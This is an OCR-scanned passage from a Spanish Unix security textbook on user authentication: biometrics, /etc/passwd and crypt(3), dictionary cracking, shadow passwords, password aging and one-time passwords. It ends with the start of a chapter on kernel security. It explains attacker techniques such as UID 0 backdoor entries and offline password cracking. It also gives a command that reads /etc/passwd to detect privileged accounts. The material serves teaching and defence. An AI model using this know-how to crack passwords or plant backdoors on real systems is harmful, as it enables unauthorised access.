los almacenados en una base de clatos; si la muestra coincide con la almacenada para el usuario que 
el individuo dice ser, se permite el acceso. 

La compama EyeDentify posee la patente mundial para analizadores de vasculatura retinal, por 
lo que es la principal desarrolladora de esta tecnologia; su pagina web se puede encontrar en 

http : //www . eyedentif y . com/. 

‘^Aunque en el caso de los irises existen dispositivos capaces de leer a una distancia de varios metros, haciendo el 
proceso menos agresivo. 




Figura 8.3: Iris humano con la extraction de su iriscode. 


Iris 

El iris humano (el anillo que rodea la pupila, que a simple vista diferencia el color de ojos de ca- 
da persona) es igual que la vasculatura retinal una estructura unica por individuo que forma un 
sistema muy complejo de hasta 266 grados de libertad - , inalterable durante toda la vida de la 
persona. El uso por parte de un atacante de organos replicados o simulados para conseguir una falsa 
aceptacion es casi imposible con analisis infrarrojo, capaz de detectar con una alta probabilidad si 
el iris es natural o no. 

La identification basada en el reconocimiento de iris es mas moderna que la basada en patrones 
retinales; desde hace unos aiios el iris humano se viene utilizando para la autenticacion de usuarios 
([BAW96], [Dau97]). Para ello, se captura una imagen del iris en bianco y negro, en un entorno 
correctamente iluminado; esta imagen se somete a deformaciones pupilares (el tamano de la pupila 
varia enormemente en funcion de factores externos, como la luz) y de ella se extraen patrones, que 
a su vez son sometidos a transformaciones matematicas ([McM97]) hasta obtener una cantidad de 
datos (tfpicamente 256 KBytes) suficiente para los propositos de autenticacion. Esa muestra, deno- 
minada iriscode (en la figura 8.3 se muestra una imagen de un iris humano con su iriscode asociado) 
es comparada con otra tomada con anterioridad y almacenada en la base de datos del sistema, de 
forma que si ambas coinciden el usuario se considera autenticado con exito; la probabilidad de una 
falsa aceptacion es la menor de todos los modelos biometricos ([Dau98]). 


La empresa estadounidense IriScan es la principal desarrolladora de tecnologfa (y de investiga- 
ciones) basada en reconocimiento de iris que existe actualmente, ya que posee la patente sobre 







8.4. SISTEMAS DE A UTENTICA CION BIOMETRICA 


131 



Figura 8.4: Geometria de una mano con ciertos parametros extrai'dos. 


esta tecnologfa; su pagina web , con interesantes articulos sobre este modelo de autenticacion (a 
diferencia de la pagina de EyeDentify), se puede consultar en http://www.iriscan.com/. 

8.4.5 Verificacion de la geometria de la mano 

Los sistemas de autenticacion basados en el analisis de la geometria de la mano son sin duda los 
mas rapidos dentro de los biometricos: con una probabilidad de error aceptable en la mayoria de 
ocasiones, en aproximadamente un segundo son capaces de determinar si una persona es quien dice 
ser. 

Cuando un usuario necesita ser autenticado situa su mano sobre un dispositivo lector con unas 
guias que marcan la posicion correcta para la lectura (figura 8.4). Una vez la mano esta correc- 
tamente situada, unas camaras toman una imagen superior y otra lateral, de las que se extraen 
ciertos clatos (anchura, longitud, area, cleterminadas distancias. . . ) en un formato de tres dimen- 
siones. Transformando estos datos en un modelo matematico que se contrasta contra una base de 
patrones, el sistema es capaz de permitir o denegar acceso a cada usuario. 

Quizas uno de los elementos mas importantes del reconocimiento mediante analizadores de geo- 
metria de la mano es que estos son capaces de aprender: a la vez que autentican a un usuario, 
actualizan su base de datos con los cambios que se puedan producir en la muestra (un pequeno cre- 
cimiento, adelgazamiento, el proceso de cicatrizado de una herida. . . ); de esta forma son capaces de 
identificar correctamente a un usuario cuya muestra se tomo hace aiios, pero que ha ido accediendo 
al sistema con regularidad. Este hecho, junto a su rapidez y su buena aceptacion entre los usuarios, 
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hace que los autenticadores basados en la geometria de la mano sean los mas extendidos dentro 
de los biometricos a pesar de que su tasa de falsa aceptacion se podria considerar inaceptable en 
algunas situaciones: no es normal, pero si posible, que dos personas tengan la mano lo suficiente- 
mente parecida como para que el sistema las confunda. Para minimizar este problema se recurre 
a la identification basada en la geometria de uno o dos dedos, que ademas puede usar dispositivos 
lectores mas baratos y proporciona incluso mas rapidez. 


8.5 Autenticacion de usuarios en Unix 

8.5.1 Autenticacion clasica 

En un sistema Unix habitual cada usuario posee un nombre de entrada al sistema o login y una 
clave o password ; ambos datos se almacenan generalmente en el fichero /etc/passwd. Este archivo 
contiene una linea por usuario (aunque hay entradas que no corresponden a usuarios reales, como 
veremos a continuation) donde se indica la informacion necesaria para que los usuarios puedan 
conectar al sistema y trabajar en el, separando los diferentes campos mediante ‘ : ’ . Por ejemplo, 
podemos encontrar entradas parecidas a la siguiente: 

toni : LEgPN8jqSCHCg: 1000 : 100 : Antonio Villalon, , , : / export /home /toni : /bin/sh 

En primer lugar aparecen el login del usuario y su clave cifrada; a continuation tenemos dos numeros 
que seran el identificador de usuario y el de grupo respectivamente. El quinto campo, denominado 
GECOS es simplemente informacion administrativa sobre la identidad real del usuario, como su nom- 
bre, telefono o numero de despacho. Finalmente, los dos riltimos campos corresponden al directorio 
del usuario (su $HOME inicial) y al shell que le ha sido asignado. 

Al contrario de lo que mucha gente cree, Unix no es capaz de distinguir a sus usuarios por su 
nombre de entrada al sistema. Para el sistema operativo lo que realmente distingue a una persona 
de otra (o al menos a un usuario de otro) es el UID del usuario en cuestion; el login es algo que 
se utiliza principalmente para comodidad de las personas (obviamente es mas facil acordarse de un 
nombre de entrada como toni que de un UID como 2643, sobre todo si se tienen cuentas en varias 
maquinas, cada una con un UID diferente). Por tanto, si en /etc/passwd existen dos entradas con 
un mismo UID, para Unix se tratara del mismo usuario, aunque tengan un login y un password 
diferente: asi, si dos usuarios tienen asignado el UID 0, ambos tendran privilegios de superusua- 
rio, sin importar el login que utilicen. Esto es especialmente aprovechado por atacantes que han 
conseguido privilegios de administrador en una maquina: pueden ahadir una linea a /etc/passwd 
mezclada entre todas las demas, con un nombre de usuario normal pero con el UID 0; asi garantizan 
su entrada al sistema como administradores en caso de ser descubiertos, por ejemplo para borrar 
huellas. Como a simple vista puede resultar dificil localizar la linea insertada, especialmente en 
sistemas con un gran numero de usuarios, para detectar las cuentas con privilegios en la maquina 
podemos utilizar la siguiente orden: 

anita:~# cat /etc/passwd I awk -F : ’ $3==0 {print $1}’ 

root 

anita: ~# 

En el fichero de claves van a existir entradas que no corresponden a usuarios reales, sino que son 
utilizadas por ciertos programas o se trata de cuentas mantenidas por motivos de compatibilidad 
con otros sistemas; tipicos ejemplos de este tipo de entradas son lp, uucp o postmaster. Estas 
cuentas han de estar bloqueadas en la mayoria de casos, para evitar que alguien pueda utilizar- 
las para acceder a nuestro sistema: solo han de ser accesibles para el root mediante la orden su. 
Aunque en su mayoria cumplen esta condition, en algunos sistemas estas cuentas tienen claves por 
defecto o, peor, no tienen claves, lo que las convierte en una puerta completamente abierta a los 
intrusos; es conveniente que, una vez instalado el sistema operativo, y antes de poner a trabajar 
la maquina, comprobemos que estan bloqueadas, o en su defecto que tienen claves no triviales. 
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Algunos ejemplos cle cuentas sobre los que hay que prestar una especial atencion son 4 root, guest, 
lp, demos, 4DGifts, tour, uucp, nuucp, games o postmaster; es muy recomendable consultar los 
manuales de cada sistema concreto, y chequear periodicamente la existencia de cuentas sin clave o 
cuentas que deberian permanecer bloqueadas y no lo estan. 

Para cifrar las claves de acceso de sus usuarios, el sistema operativo Unix emplea un criptosis- 
tema irreversible que utiliza la funcion estandar de C crypt (3) , basada en el algoritmo DES. Para 
una description exhaustiva del funcionamiento de crypt (3) se puede consultar [MT79], [FK90] o 
[GS96] . Esta funcion toma como clave los ocho primeros caracteres de la contrasena elegida por el 
usuario (si la longitud de esta es menor, se completa con ceros) para cifrar un bloque de texto en 
claro de 64 bits puestos a cero; para evitar que dos passwords iguales resulten en un mismo texto 
cifrado, se realiza una permutation durante el proceso de cifrado elegida de forma automatica y 
aleatoria para cada usuario, basada en un campo formado por un numero de 12 bits (con lo que 
conseguimos 4096 permutaciones diferentes) llamado salt. El cifrado resultante se vuelve a cifrar 
utilizando la contrasena del usuario de nuevo como clave, y permutando con el mismo salt , repi- 
tiendose el proceso 25 veces. El bloque cifrado final, de 64 bits, se concatena con dos bits cero, 
obteniendo 66 bits que se hacen representables en 11 caracteres de 6 bits cada uno y que, junto con 
el salt , pasan a constituir el campo password del fichero de contrasenas, usualmente /etc/passwd. 
Asf, los dos primeros caracteres de este campo estaran constituidos por el salt y los 11 restantes 
por la contrasena cifrada: 

toni : LEgPN8jqSCHCg : 1000 : 100 : Antonio Villalon , , , : /export /home/toni : /bin/sh 

salt: LE Password cifrado: gPN8jqSCHCg 

Como hemos dicho antes, este criptosistema es irreversible. Entonces, ^como puede un usuario 
conectarse a una maquina Unix? El proceso es sencillo: el usuario introduce su contrasena, que 
se utiliza como clave para cifrar 64 bits a 0 basandose en el salt , lefdo en /etc/passwd, de dicho 
usuario. Si tras aplicar el algoritmo de cifrado el resultado se corresponde con lo almacenado en 
los ultimos 11 caracteres del campo password del fichero de contrasenas, la clave del usuario se 
considera valida y se permite el acceso. En caso contrario se le deniega y se almacena en un fichero 
el intento de con exion fallido. 

8.5.2 Mejora de la seguridad 

Problemas del modelo clasico 

Los ataques de texto cifrado escogido constituyen la principal amenaza al sistema de autenticacion 
de Unix; a diferencia de lo que mucha gente cree, no es posible descifrar una contrasena, pero es 
muy facil cifrar una palabra junto a un determinado salt, y comparar el resultado con la cadena 
almacenada en el fichero de claves. De esta forma, un atacante leera el fichero /etc/passwd (este 
fichero ha de tener permiso de lectura para todos los usuarios si queremos que el sistema funcione 
correctamente), y mediante un programa adivinador (o crackeador j como Crack o John the Ripper 
cifrara todas las palabras de un fichero denominado diccionario (un fichero ASCII con un gran 
numero de palabras de cualquier idioma o campo de la sociedad - historia clasica, deporte, cantantes 
de rock. . . ) , comparando el resultado obtenido en este proceso con la clave cifrada del fichero de 
contrasenas; si ambos coinciden, ya ha obtenido una clave para acceder al sistema de forma no 
autorizada. Este proceso se puede pero no se suele hacer en la maquina local, ya que en este caso 
hay bastantes posibilidades de detectar el ataque: clesde modificar en codigo de la funcion crypt (3) 
para que alerte al administrador cuando es invocada repetidamente (cada vez que el adivinador cifra 
una palabra utiliza esta funcion) hasta simplemente darse cuenta de una carga de CPU excesiva 
(los programas adivinadores suelen consumir un tiempo de procesador considerable). Lo habitual 
es que el atacante transfiera una copia del archivo a otro ordenador y realice el proceso en esta 
otra maquina; ni siquiera se tiene que tratar de un servidor Unix con gran capacidad de computo: 

4 Hemos preferido no mostrar las claves por defecto (si las tienen) ni el sistema operativo concreto. 
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existen muchos programas adivinadores que se ejecutan en un PC normal, bajo MS-DOS o Windows. 
Obviamente, este segundo caso es mucho mas dificil de detectar, ya que se necesita una auditoria 
de los programas que ejecuta cada usuario (y utilidades como cp o ftp no suelen llamar la atencion 
del administrador) . Esta auditoria la ofrecen muchos sistemas Unix (generalmente en los ficheros 
de log /var/adm/pacct o /var/adm/acct), pero no se suele utilizar por los excesivos recursos 
que puede consumir, incluso en sistemas pequenos; obviamente, no debemos fiarnos nunca de los 
archivos historicos de ordenes del usuario (como $H0ME/ . sh_hi story o $HOME/.bash_history), ya 
que el atacante los puede modificar para ocultar sus actividades, sin necesidad de ningun privilegio 
especial. 

Contrasenas aceptables 

La principal forma de evitar este tipo de ataque es utilizar passwords que no sean palabras de los 
ficheros diccionario tipicos: combinaciones de minusculas y mayusculas, numeros mezclados con 
texto, simbolos como &, $ o %, etc. Por supuesto, hemos de huir de claves simples como internet o 
beatles, nombres propios, combinaciones debiles como Pepitol o qwerty , nombres de lugares, actores, 
personajes de libros, deportistas. . . Se han realizado numerosos estudios sobre como evitar este tipo 
de passwords en los usuarios ([clA88], [Kle90], [Spa91b], [Bel93a], [Bis91], [BK95]...), y tambien 
se han disehado potentes herramientas para lograrlo, como Npasswd o Passwd+ ([Spa91b], [Bis92], 
[CHN+92]. . . ). Es bastante recomendable instalar alguna de ellas para ‘obligar’ a los usuarios a 
utilizar contrasenas aceptables (muchos Unices ya las traen incorporadas) , pero no conviene confiar 
toda la seguridad de nuestro sistema a estos programas 5 . Como norma, cualquier administrador 
deberia ejecutar con cierta periodicidad algun programa adivinador, tipo Crack , para comprobar 
que sus usuarios no han elegidos contrasenas debiles (a pesar del uso de Npasswd o Passwd+): se 
puede tratar de claves generadas antes de instalar estas utilidades o incluso de claves asignadas por 
el propio root que no han pasado por el control de estos programas. 

Por ultimo es necesario recordar que para que una contrasena sea aceptable obligatoriamente ha 
de cumplir el principio KISS, que hablando de passwords esta claro que no puede significar ‘Keep 
it simple, stupid!’ sino ‘Keep it SECRET, stupid!’. La contrasena mas larga, la mas dificil de 
recordar, la que combina mas caracteres no alfabeticos. . . pierde toda su robustez si su propietario 
la comparte con otras personas 6 . 

Para verificar el hecho que de no hay que confiar toda la seguridad de un sistema a ningun 
programa, hemos crackeado el fichero de claves de un servidor de la Universidad Politecnica 
de Valencia. Se trata de un sistema Unix con unos 1300 usuarios, dedicado a calculo cientifico 
(obviamente, no vamos a decir el nombre del servidor). A pesar de utilizar un mecanismo que 
no permite que los usuarios elijan claves debiles, en menos de dos horas de ejecucion sobre 
un Pentium MMX a 233 MHz el programa Crack corriendo sobre Solaris ha encontrado seis 
claves de usuario utilizando exclusivamente diccionarios de demostracion que acompahan al 
programa (seguramente si utilizaramos diccionarios en Castellano o relacionados con temas 
como el cleporte o la miisica nacionales - que los hay- habriamos encontrado alguna clave 
mas. . . ). Se puede pensar que solo seis usuarios de entre 1300 es algo bastante aceptable, 
pero no es asf: cualquier combination valida de login y password es una puerta abierta en 
nuestro sistema; si un intruso consigue entrar por esta puerta, tiene mas del 70% del camino 
recorrido para obtener el control total de la maquina. Si queremos conseguir un sistema 
mmimamente fiable, no podemos permitir ni una sola clave debil. 

Sin embargo, tampoco hay que pensar que programas como Passwd+ no desempenan bien 
su labor: en 1994, cuando en el sistema con el que hemos realizado la prueba anterior 
no disponia de estos mecanismos de seguridad, en menos de 12 horas de ejecucion de un 
programa adivinador sobre un 486DX a 33 MHz utilizando Linux, se consiguieron extraer 
mas de cien claves, entre ellas algunas de usuarios con cierto nivel de privilegio dentro del 
sistema. 

5 jNi a ningun otro! 

6 ‘Three can keep a secret. . . if two of them are dead’. Benjamin Franklin. 
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Otro metodo cada dfa mas utilizado para proteger las contrasenas de los usuarios el denominado 
Shadow Password u oscurecimiento de contrasenas. La idea basica de este mecanismo es impedir que 
los usuarios sin privilegios puedan leer el fichero donde se almacenan las claves cifradas; en el punto 
anterior hemos comentado que el fichero /etc/passwd tiene que tener permiso de lectura para todo 
el mundo si queremos que el sistema funcione correctamente. En equipos con oscurecimiento de 
contrasenas este fichero sigue siendo legible para todos los usuarios, pero a diferencia del mecanismo 
tradicional, las claves cifradas no se guardan en el, sino en el archivo /etc/shadow, que solo el root 
puede leer. En el campo correspondiente a la clave cifrada de /etc/passwd no aparece esta, sino 
un sfmbolo que indica a determinados programas (como /bin/login) que han de buscar las claves 
en /etc/shadow, generalmente una x: 

toni :x : 1000 : 100 : Antonio Villalon, , , : / export /home/toni : /bin/sh 

El aspecto de /etc/ shadow es en cierta forma similar al de /etc/passwd que ya hemos comentado: 
existe una lfnea por cada usuario del sistema, en la que se almacena su login y su clave cifrada. 
Sin embargo, el resto de campos de este fichero son diferentes; corresponden a information que 
permite implementar otro mecanismo para proteger las claves de los usuarios, el envejecimiento de 
contrasenas o Aging Password , del que hablaremos a continuation: 

toni :LEgPN8jqSCHCg: 10322: 0:99999:7: : : 

Desde hace un par de aiios, la gran mayorfa de Unices del mercado incorporan este mecanismo; si al 
instalar el sistema operativo las claves aparecen almacenadas en /etc/passwd podemos comprobar 
si existe la orden pwconv, que convierte un sistema clasico a uno oscurecido. Si no es asi, o si 
utilizamos un Unix antiguo que no posee el mecanismo de Shadow Password , es muy conveniente 
que consigamos el paquete que lo implementa (seguramente se tratara de un fichero shadow. tar .gz 
que podemos encontar en multitud de servidores, adecuado a nuestro cion de Unix) y lo instalemos 
en el equipo. Permitir que todos los usuarios lean las claves cifradas ha representado durante aiios, 
y sigue representando, uno de los mayores problemas de seguridad de Unix; ademas, una de las 
actividades preferidas de piratas novatos es intercambiar ficheros de claves de los sistemas a los que 
acceden y crackearlos, con lo que es suficiente una persona que lea nuestro fichero para tener en 
poco tiempo una colonia de intrusos en nuestro sistema. 

Envejecimiento de contrasenas 

En casi todas las implementaciones de Shadow Password actuales ' se suele incluir la implementation 
para otro mecanismo de protection de las claves denominado envejecimiento de contrasenas (Aging 
Password). La idea basica de este mecanismo es proteger los passwords de los usuarios dandoles un 
determinado periodo de vida: una contrasena solo va a ser valida durante un cierto tiempo, pasado 
el cual expirara y el usuario clebera cambiarla. 

Realmente, el envejecimiento previene mas que problemas con las claves problemas con la transmi- 
sion de estas por la red: cuando conectamos mediante mecanismos como telnet, ftp o rlogin a 
un sistema Unix, cualquier equipo entre el nuestro y el servidor puede leer los paquetes que envia- 
mos por la red, incluyendo aquellos que contienen nuestro nombre de usuario y nuestra contrasena 
(hablaremos de esto mas a fondo en los capftulos dedicados a la seguridad del sistema de red y a la 
criptografia); de esta forma, un atacante situado en un orclenador intermedio puede obtener muy 
facilmente nuestro login y nuestro password. Si la clave capturada es valida indefinidamente, esa per- 
sona tiene un acceso asegurado al servidor en el momento que quiera; sin embargo, si la clave tiene 
un periodo de vida, el atacante solo podra utilizarla antes de que el sistema nos obligue a cambiarla. 

A primera vista, puede parecer que la utilidad del envejecimiento de contrasenas no es muy grande; 


7 AT&T/USL fue el pionero en utilizar envejecimiento junto al shadow password. 



136 


CAPITULO 8. A UTENTICA CION DE USUARIOS 


al fin y al cabo, la lectura de paquetes destinados a otros equipos ( sniffing ) no se hace por casuali- 
dad: el atacante que lea la red en busca de claves y nombres de usuario lo va a hacer porque quiere 
utilizar estos datos contra un sistema. Sin embargo, una practica habitual es clejar programas 
escuchando durante dias y grabando la information leida en ficheros; cada cierto tiempo el pirata 
consultara los resultados de tales programas, y si la clave leida ya ha expirado y su propietario la 
ha cambiado por otra, el haberla capturado no le servira de nada a ese atacante. 

Los periodos de expiration de las claves se suelen definir a la hora de crear a los usuarios con las 
herramientas que cada sistema ofrece para ello (por ejemplo, Solaris y su admintool, mostrado 
en la hgura 8.5). Si queremos modificar alguno de estos periodos una vez establecidos, desde esas 
mismas herramientas de administration poclremos hacerlo, y tambien desde linea de ordenes me- 
diante ordenes como chage o usermod. Como antes hemos dicho, en el archivo /etc/shadow se 
almacena, junto a la clave cifrada de cada usuario, la information necesaria para implementar el 
envejecimiento de contrasehas; una entrada de este archivo es de la forma 

toni:LEgPN8jqSCHCg: 10322: 0:99999:7: : : 

Tras el login y el password de cada usuario se guardan los campos siguientes: 

• Dias transcurridos desde el 1 de enero de 1970 hasta que la clave se cambio por ultima vez. 

• Dias que han de transcurrir antes de que el usuario pueda volver a cambiar su contrasena. 

• Dias tras los cuales se ha de cambiar la clave. 

• Dias durante los que el usuario sera avisado de que su clave va a expirar antes de que esta lo 
haga. 

• Dias que la cuenta estara habilitada tras la expiration de la clave. 

• Dias desde el 1 de enero de 1970 hasta que la cuenta se cleshabilite. 

• Campo reservado. 

Como podemos ver, cuando un usuario cambia su clave el sistema le impide volverla a cambiar 
durante un periodo de tiempo; con esto se consigue que cuando el sistema obligue a cambiar la 
contrasena el usuario no restaure inmediatamente su clave antigua (en este caso el esquema no 
serviria de nada). Cuando este periodo finaliza, suele existir un intervalo de cambio voluntario: 
esta permitido el cambio de contrasena, aunque no es obligatorio; al finalizar este nuevo periodo, 
el password ha expirado y ya es obligatorio cambiar la clave. Si el numero maximo de dias en los 
que el usuario no puede cambiar su contrasena es mayor que el numero de dias tras los cuales es 
obligatorio el cambio, el usuario no puede cambiar nunca su clave. Si tras el periodo de cambio 
obligatorio el password permanece inalterado, la cuenta se bloquea. 

En los sistemas Unix mas antiguos (hasta System V Release 3.2), sin shadow password, toda la 
information de envejecimiento se almacena en /etc/passwd, junto al campo correspondiente a la 
clave cifrada de cada usuario pero separada de este por una coma: 

root : cp5zQHITeZLWM, A .B8 : 0 : 0 : El Spiritu Santo ,,,: /root : /bin/bash. 

En este caso el primer caracter tras la coma es el numero maximo de semanas antes de que el 
password expire; el siguiente caracter es el numero minimo de semanas antes de que el usuario pueda 
cambiar su clave, y el tercer y cuarto caracter indican el tiempo transcurrido desde el 1 de enero de 
1970 hasta el ultimo cambio de contrasena. Todos estos tiempos se indican mediante cleterminados 
caracteres con un significado especial, mostrados en la tabla 8.2. Tambien se contemplan en este 
esquema tres casos especiales: si los dos primeros caracteres son ‘ . . 1 el usuario sera obligado a 
cambiar su clave la siguiente vez que conecte al sistema; el programa passwd modificara entonces 
su entrada en el archivo para que el usuario no se vuelva a ver afectado por el envejecimiento. Otro 
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Caracter 


/ 

0 

1 

2 

3 

4 

5 

6 

7 

8 

9 

A 

B 

C 

Valor (semanas) 

1 

2 

3 

4 

5 

6 

7 

8 

9 

10 

11 

12 

13 

14 

15 

Caracter 

D 

E 

F 

G 

H 

I 

J 

K 

L 

M 

N 

O 

P 

Q 

R 

Valor (semanas) 

16 

17 

18 

19 

20 

21 

21 

22 

23 

24 

25 

26 

27 

28 

29 

Caracter 

S 

T 

U 

V 

W 

X 

Y 

Z 

a 

b 

c 

cl 

e 

f 

g 

Valor (semanas) 

30 

31 

32 

33 

34 

35 

36 

37 

38 

39 

40 

41 

42 

43 

44 

Caracter 

h 

i 

j 

k 

1 

m 

n 

o 

P 

q 

r 

s 

t 

u 

V 

Valor (semanas) 

45 

46 

47 

48 

49 

50 

51 

52 

53 

54 

55 

56 

57 

58 

59 

Caracter 

w 

X 

y 

z 












Valor (semanas) 

60 

61 

62 

63 













Tabla 8.2: Codigos de caracteres para el envejecimiento de contrasenas. 


caso especial ocurre cuando los dos ultimos caracteres tambien son ‘ . . ’ , situacion en la cual el 
usuario igualmente se vera obligado a cambiar su clave la proxima vez que conecte al sistema pero 
el envejecimiento seguira definido por los dos primeros caracteres. Por ultimo, si el primer caracter 
tras la coma es menor que el siguiente, el usuario no puede cambiar su password nunca, y solo puede 
ser modificado a traves de la cuenta root. 


Claves de un solo uso 

El envejecimiento de contrasenas tiene dos casos extremos. Por un lado, tenemos el esquema clasico: 
una clave es valida hasta que el usuario voluntariamente decida cambiarla (es decir, no hay cadu- 
cidad de la contrasena). El extremo contrario del Aging Password es otorgar un tiempo de vida 
mi'nimo a cada clave, de forma que solo sirva para una conexion: es lo que se denomina clave de un 
solo uso, One Time Password ([Lam81]). 

^Como utilizar contrasenas de un solo uso? Para conseguirlo existen diferentes aproximaciones; 
la mas simplista consiste en asignar al usuario una lista en papel con la secuencia de claves a utili- 
zar, de forma que cada vez que este conecte al sistema elimina de la lista la contrasena que acaba 
de utilizar. Por su parte, el sistema avanza en su registro para que la proxima vez que el usuario 
conecte pueda utilizar la siguiente clave. Otra aproximacion consiste en utilizar un pequeno dispo- 
sitivo que el usuario debe llevar consigo, como una tarjeta o una calculadora especial, de forma que 
cuando desee conectar el sistema le indicara una secuencia de caracteres a teclear en tal dispositivo; 
el resultado obtenido sera lo que se ha de utilizar como password. Para incrementar la seguridad 
ante un robo de la tarjeta, antes de teclear el numero recibido desde la maquina suele ser necesario 
utilizar un P.I.N. que el usuario debe mantener en secreto ( [GS96] ) . 

Una de las implementaciones del One Time Password mas extendida entre los diferentes clones 
de Unix es s/key ([Hal94]), disponible tambien para clientes Windows y MacOS. Utilizando este 
software, la clave de los usuarios no viaja nunca por la red, ni siquiera al ejecutar ordenes como su 
o passwd, ni tampoco se almacena information comprometedora (como las claves en claro) en la 
maquina servidora. Cuando el cliente desea conectar contra un sistema genera una contrasena de 
un solo uso, que se verifica en el servidor; en ambas tareas se utilizan las funciones resumen MD4 
([Riv90]) o MD5 ([Riv92]). Para realizar la autenticacion, la maquina servidora guarda una copia 
del password que recibe del cliente y le aplica la funcion resumen; si el resultado no coincide con la 
copia guardada en el hchero de contrasenas, se deniega el acceso. Si por el contrario la verification 
es correcta se actualiza la entrada del usuario en el archivo de claves con el one time password que 
se ha recibido (antes de aplicarle la funcion), avanzando asi en la secuencia de contrasenas. Este 
avance decrementa en uno el numero de iteraciones de la funcion ejecutadas, por lo que ha de llegar 
un momento en el que el usuario debe reiniciar el contador o en caso contrario se le negara el acceso 
al sistema; para ello ejecuta una version modificada de la orden passwd. 
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Otros metodos 

Algo por lo que se ha criticado el esquema de autenticacion de usuarios de Unix es la longitud 
para propositos de alta seguridad, demasiado corta de sus claves; lo que hace ahos era poco 
mas que un planteamiento teorico ([DH77]), actualmente es algo factible: sin ni siquiera entrar en 
temas de hardware dedicado, seguramente demasiado caro para la mayoria de atacantes, con un 
supercomputador es posible romper claves de Unix en menos de dos dias ([KI99]). 

Un metodo que aumenta la seguridad de nuestras claves frente a ataques de intrusos es el ci- 
frado mediante la funcion conocida como bigcryptO o cryptl6(), que permite longitudes para 
las claves y los salts mas largas que crypt (3); sin embargo, aunque se aumenta la seguridad de las 
claves, el problema que se presenta aquf es la incompatibilidad con las claves del resto de Unices 
que sigan utilizando crypt (3); este es un problema comun con otras aproximaciones ([Man96], 
[KI99] . . . ) que tambien se basan en modificar el algoritmo de cifrado, cuando no en utilizar uno 
nuevo. 
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Figura 8.5: La herramienta de administration admintool (Solaris), con opciones para envejecimien- 
to de claves. 
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Capitulo 9 


Seguridad del nucleo 


9.1 Introduction 

El nucleo o kernel de un sistema Unix es la parte mas importante del mismo, hasta tal punto que en 
terminos puristas se considera al nucleo como el sistema operativo en si. Pero incluso si no lo con- 
sideramos asf, y contemplamos al sistema operativo como el conjunto formado por el nucleo y una 
serie de herramientas (editor, compilador, enlazador, shell . . . ), es innegable que el kernel es la parte 
del sistema mas importante, y con diferencia: mientras que las aplicaciones operan en el espacio de 
usuario, el nucleo siempre trabaja en el modo privilegiado del procesador (RING 0). Esto implica 
que no se le impone ninguna restriction a la hora de ejecutarse: utiliza todas las instrucciones del 
procesador, direcciona toda la memoria, accede directamente al hardware (mas concretamente, a 
los manejadores de dispositivos) , etc. De esta forma, un error en la programacion, o incluso en la 
configuration del nucleo puede ser fatal para nuestro sistema. 

Por desgracia muchos administradores piensan que un intruso nunca va a actuar a un nivel tan 
bajo para comprometer al sistema. Si bien es cierto que en redes habituates la inmensa mayoria 
de atacantes no poseen los conocimientos necesarios para utilizar el kernel del sistema operativo en 
beneficio propio, cualquier pirata con el suficiente nivel de experiencia puede conseguir privilegios 
de root y aprovecharlos para modificar el nucleo o configurarlo a su gusto. Y es justamente este tipo 
de ataques uno de los mas diffciles de cletectar: cualquier administrador tiende a confiar ciegamente 
en lo que el sistema operativo le dice, de forma que si ejecuta la orden 

anita:~# uptime 

3:46am up 9 days, 2:22, 6 users, load average: 1.15, 1.05, 1.07 

anita: ~# 

automaticamente va a asumir que su sistema ha permanecido mas de nueve dfas sin reiniciarse; 
esto puede ser cierto o no serlo, e independientemente de la veracidad del resultado de esta orden 
alguien puede haber accedido a nuestro kernel y haber comprometido su seguridad. Por ejemplo, 
si ha modificado completamente el nucleo, puede haber reprogramado la llamada sysinfoO para 
que devuelva un resultado erroneo, de forma que el administrador nunca se percate que la maquina 
ha sido reiniciada para cargar el kernel modificado; incluso en los Unices que soportan la insertion 
de modulos en el nucleo (como Linux, Solaris o FreeBSD) el atacante puede haber utilizado esta 
facilidad para modificar el kernel sin necesidad de reiniciar el equipo; excelentes lecturas sobre este 
tipo de ataques son [Pla99], [Pra99b] o [Pra99a]. 

Evidentemente, para cualquier intruso el ataque a un nucleo es mucho mas facil en clones de Unix 
cuyo codigo fuente este disponible, como Linux, Minix o algunos BSD, pero el ataque es posible en 
cualquier sistema ([Pla99] lo demuestra sobre Solaris). El hecho de la completa disponibilidad del 
codigo fuente de un sistema operativo (ahora no hablamos de aplicaciones, nos referimos al sistema 
operativo propiamente dicho) suele despertar controversias entre la comunidad cientffica dedicada 
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a la seguridad informatica: mientras unos argumentan que esta disponibilidad supone un problema 
de seguridad - un atacante puede dedicarse a revisar el codigo hasta encontrar un error de progra- 
macion, y aprovecharlo otros les acusan de defender las teorias de Security through Obscurity y 
sostienen que cuanta mas gente tenga acceso al codigo mas errores se localizaran y solucionaran, y 
por tanto a la larga se va a conseguir un sistema mucho mas robusto. Esta segunda postura es la 
que mas fuerza esta tomando clesde hace unos anos, y parece tambien la mas razonable: es cierto 
que un atacante puede dedicarse a leer codigo hasta encontrar un error, pero se ha comprobado que 
la mayoria de los fallos no se suelen cletectar de esta forma, sino por cualquier circunstancia que 
genera un evento extrano sobre el que posteriormente se investiga. Por tanto, la disponibilidad del 
codigo del nucleo no debe suponer una amenaza a la seguridad a priori 1 . Ademas, un administrador 
de sistemas con un mi'nimo nivel de conocimientos de programacion puede aprovechar la disponibi- 
lidad del codigo para detectar rapidamente problemas de seguridad: por ejemplo, si sospecha que 
alguien utiliza sus recursos para ejecutar programas adivinadores de contrasehas, puede modificar 
librerias para detectar llamadas ‘sospechosas’ a la funcion cryptO, o si piensa que determinado 
usuario ejecuta un programa setuidado para conseguir privilegios que no le corresponded puede 
modificar la llamada al sistema setuidO para comprobar si sus sospechas son ciertas. 

Visto esto, parece claro que el nucleo va a representar un pilar basico para conseguir un siste- 
ma seguro; es mas, al ser el kernel la base del sistema operativo, no sirve de nada esforzarse en 
conseguir seguridad a nivel de aplicacion si nuestro nucleo es inseguro. En este capitulo vamos a 
tratar aspectos relativos a la seguridad de los nucleos de sistemas Unix, y tambien hablaremos de 
aspectos que, sin pertenecer estrictamente al kernel , son de un nivel tan bajo que su funcionamien- 
to es muy clependiente de cada version de Unix. Como cada cion del sistema operativo tiene sus 
metodos para configurar o recompilar el kernel , y en ademas en este trabajo no podemos tratar 
extensamente cada uno de ellos, es indispensable en cada caso consultar los manuales antes de 
modificar cualquier parametro de los vistos aqui. 


9.2 Linux 

9.2.1 Opciones de compilacion 

A la hora de recompilar un nuevo nucleo de Linux hemos de tener en cuenta algunas opciones clentro 
del grupo 'Networking Options’ que pueden afectar a la seguridad de nuestra maquina (algunos 
de estos aspectos, para nucleos 2.0, pueden encontrarse en [Wre98]). Sin embargo, antes de entrar 
